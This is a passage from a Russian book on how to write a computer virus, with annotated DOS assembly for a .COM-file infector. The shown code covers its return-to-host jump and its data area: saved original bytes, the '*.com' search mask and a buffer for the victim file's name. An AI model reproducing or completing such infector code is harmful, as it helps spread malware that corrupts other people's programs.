"Игорь Коваль. Как написать вирус" - читать интересную книгу автора

манду RET FAR .Она снимет с вершины стека запи-
санные туда значения и передаст управление по оп-
ределяемому ими адресу :

pop ds ;Восстановим
;испорченный DS
push cs ;Занесем в стек
;регистр CS
db 0b8h ;Код команды
jump: dw 100h ;mov ax,100h
push ax ;Занесем в стек
;число 100h
retf ;Передача управ-
;ления на задан-
;ный адрес ...


1.16 Область данных вирусной программы

Настало время привести данные, которыми оперирует
наш вирус . Вот они :

old_bytes db 0e9h ;Исходные три
;байта заражен-
dw vir_len + 0dh ;ной программы
old_dta db 128 dup (0) ;Здесь вирус
;хранит исходную
;DTA программы
maska db '*.com',0 ;Маска для поис-
;ка файлов ...
fn db 12 dup (' '),0 ;Сюда помещается
;имя файла -жер-
;твы ...
new_bytes db 0e9h ;Первые три бай-
db 00h ;та вируса в
db 00h ;файле ...

last db 0 ;Ячейка для пос-
;леднего байта
db '7' ;Последний байт
;вируса в файле

Как видим, данных не так уж и много !


1.17 Завершаем запускающую программу

Для завершения запускающей вирус программы мы ис-
пользуем стандартную функцию DOS, а именно - 4Ch :